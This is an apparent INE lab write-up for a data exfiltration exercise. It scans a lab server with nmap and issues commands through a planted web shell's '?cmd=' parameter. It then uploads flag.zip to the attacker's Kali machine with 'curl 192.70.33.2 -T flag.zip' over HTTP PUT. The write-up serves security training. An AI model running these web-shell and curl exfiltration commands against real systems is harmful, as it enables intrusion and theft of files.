🔬Data Exfiltration
The Kali OS GUI instance is web hosted on the INE website, where:
You have exploited a vulnerable API endpoint and overwritten it with malicious code. This modification allows you to run commands on the server machine hosting the API, as a low privilege user (i.e. student). A sensitive flag file is kept in a zipped archive file in the student user's home directory.
There is a monitor process running on the server machine that blocks most protocols except HTTP protocol (when using port 80).
The API endpoint is accessible at
demo.ine.local
domain.
Objective: Transfer the zipped archive to your Kali machine using HTTP protocol and retrieve the flag!
Tools used:
nmap
,curl
A web browser
Python Scripting
SOLUTION
Check Kali instance IP address and ping the vulnerable server.
The web server IP is
192.70.33.3
nmap
Perform an
nmap
scan to check open ports on the server:Simple scan:
Advanced scan:
-sC
- for default scripts -sV
- probe open ports to determine service/versions info -oA
- output all 3 major formats in a directory
A Python2 web server (Werkzeug) is running on open port 8000.
Check the response from a browser by visiting
http://demo.ine.local:8000/
Web shell commands
Pass a parameter named
cmd
with the URL, using?cmd=VALUE
in the URL:http://demo.ine.local:8000/?cmd=pwd
http://demo.ine.local:8000/?cmd=ls+-l
- check contents of pwd:
flag.zip file must be transferred to the Kali instance.
Check if
curl
command is present on the serverhttp://demo.ine.local:8000/?cmd=curl+-h
- curl is present:
curl
can be used to exfiltrate the flag.zip file by sending it over HTTP protocol to a local HTTP server on the Kali instance, using the-T
option:
-T, --upload-file This transfers the specified local file to the remote URL. If there is no file part in the specified URL, curl will append the local file name. NOTE that you must use a trailing / on the last directory to really prove to Curl that there is no file name or curl will think that your last directory name is the remote file name to use. That will most likely cause the upload oper‐ ation to fail. If this is used on an HTTP(S) server, the PUT command will be used.
Python HTTP server
Run a HTTP server on the local machine using python:
The Kali instance IP is
192.70.33.2
http://demo.ine.local:8000/?cmd=curl+192.70.33.2+-T+flag.zip
Error response - Unsupported method ('PUT')
(Same error with
python3 -m http.server 80
)Create a Python script to run an HTTP server supporting PUT.
Add the following code to the htttserver.py script:
Thanks to BigBlueHat for the script.
Run the SimpleHTTP server using the script:
Try again the PUT request
http://demo.ine.local:8000/?cmd=curl+192.70.33.2+-T+flag.zip
Archive
flag.zip
was received by the server.
Stop the running HTTP server and check the folder for the downloaded file.
Unzip the archive and retrieve the flag:
📍 Lab solved!
Last updated